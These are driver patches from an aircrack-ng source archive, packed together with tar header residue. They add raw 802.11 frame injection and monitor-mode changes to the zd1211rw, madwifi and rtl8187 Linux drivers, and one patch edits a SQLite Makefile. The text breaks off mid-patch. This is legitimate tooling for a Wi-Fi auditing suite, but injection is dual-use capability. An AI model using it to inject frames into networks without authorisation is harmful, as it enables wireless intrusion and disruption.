sm->associnfo.associated != 0; + spin_unlock_irq(&mac->lock); + + r = zd_chip_control_leds(chip, + is_associated ? LED_ASSOCIATED : LED_SCANNING); + if (r) + dev_err(zd_mac_dev(mac), "zd_chip_control_leds error %d\n", r); + + queue_delayed_work(zd_workqueue, &mac->housekeeping.link_led_work, + LINK_LED_WORK_DELAY); +} + +static void housekeeping_init(struct zd_mac *mac) +{ + INIT_DELAYED_WORK(&mac->housekeeping.link_led_work, link_led_handler); +} + +static void housekeeping_enable(struct zd_mac *mac) +{ + dev_dbg_f(zd_mac_dev(mac), "\n"); + queue_delayed_work(zd_workqueue, &mac->housekeeping.link_led_work, + 0); +} + +static void housekeeping_disable(struct zd_mac *mac) +{ + dev_dbg_f(zd_mac_dev(mac), "\n"); + cancel_rearming_delayed_workqueue(zd_workqueue, + &mac->housekeeping.link_led_work); + zd_chip_control_leds(&mac->chip, LED_OFF); +} diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.c 2007-08-23 22:26:08.000000000 +0200 @@ -781,6 +781,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.22_orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-08-09 15:37:14.000000000 +0200 +++ linux-2.6.22/drivers/net/wireless/zd1211rw/zd_usb.h 2007-08-23 22:26:08.000000000 +0200 @@ -221,6 +221,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-rc4/patches/old/zd1211rw-inject+dbi-fix-3.3.2.patch0000644000000000000000000000336112103567066022704 0ustar rootroot--- linux/drivers/net/wireless/zd1211rw.bak/zd_mac.c 2012-03-19 00:15:34.000000000 +0100 +++ linux/drivers/net/wireless/zd1211rw/zd_mac.c 2012-04-17 14:07:20.962966310 +0200 @@ -243,14 +243,19 @@ static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mac_and_bssid(struct zd_mac *mac) @@ -1047,7 +1052,8 @@ /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -1060,6 +1066,7 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = zd_check_signal(hw, status->signal_strength); + stats.signal = stats.signal - 90; rate = zd_rx_rate(buffer, status); @@ -1388,7 +1395,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING; hw->wiphy->interface_modes = aircrack-ng-1.2-rc4/patches/old/zd1211rw-inject+dbi-fix-2.6.39.4.diff0000644000000000000000000000157412103567066022757 0ustar rootrootdiff -Naur linux/drivers/net/wireless/zd1211rw/zd_mac.c linux/drivers/net/wireless/zd1211rw/zd_mac.c --- linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-05-19 06:06:34.000000000 +0200 +++ linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-08-21 17:46:33.146013429 +0200 @@ -983,7 +989,8 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = status->signal_strength; - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1312,7 +1319,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING; hw->wiphy->interface_modes = aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r1526.patch0000644000000000000000000000176210761053203020751 0ustar rootrootdiff -ur madwifi-ng-r1527/ath/if_ath.c patched_madwifi-ng-r1527/ath/if_ath.c --- madwifi-ng-r1527/ath/if_ath.c 2006-04-24 01:56:00.000000000 +0200 +++ patched_madwifi-ng-r1527/ath/if_ath.c 2006-04-24 18:55:24.000000000 +0200 @@ -2246,6 +2246,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2262,7 +2263,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.2-rc4/patches/old/sqlite-3.5.7-lib_cygwin.diff0000644000000000000000000000116111147347032022056 0ustar rootroot--- Makefile.ori 2008-03-20 22:34:53.328125000 +0100 +++ Makefile 2008-03-20 22:37:30.562500000 +0100 @@ -665,11 +665,10 @@ $(TEMP_STORE) -o $@ $(TESTFIXTURE_SRC) $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) aircrack-ng-1.2-rc4/patches/old/rtl8187_2.6.20v2.patch0000644000000000000000000056123610761053203020367 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_txpower/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/ieee80211.h 2007-03-05 00:31:41.255175682 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_txpower/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_93cx6.c 2007-03-05 00:31:37.815123790 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_txpower/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_hw.h 2007-03-05 00:31:41.295176286 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_txpower/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.c 2007-03-05 00:31:37.935125600 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_txpower/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225.h 2007-03-05 00:31:41.435178397 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_txpower/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_rtl8225z2.c 2007-03-05 00:31:38.025126958 +0100 @@ -129,7 +129,7 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 mode = priv->ieee80211->mode; @@ -153,7 +153,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -280,7 +280,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -396,7 +396,7 @@ #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int GainIdx; // int GainSetting; @@ -418,7 +418,10 @@ /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; + priv->chtxpwr[ch] = max_cck_power_level; + } cck_power_level += priv->cck_txpwr_base; @@ -489,9 +492,9 @@ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225z2_SetTXPowerLevel(dev, ch); @@ -509,7 +512,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -581,7 +584,7 @@ #endif void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; @@ -958,7 +961,7 @@ void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->ieee80211->mode == IEEE_A) { diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_txpower/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8180_wx.c 2007-03-05 00:31:38.045127259 +0100 @@ -21,6 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 @@ -32,9 +33,9 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -46,7 +47,7 @@ int *parms = (int *)b; int bi = parms[0]; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); @@ -62,7 +63,7 @@ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; priv->ieee80211->force_associate = (parms[0] > 0); @@ -75,9 +76,9 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union 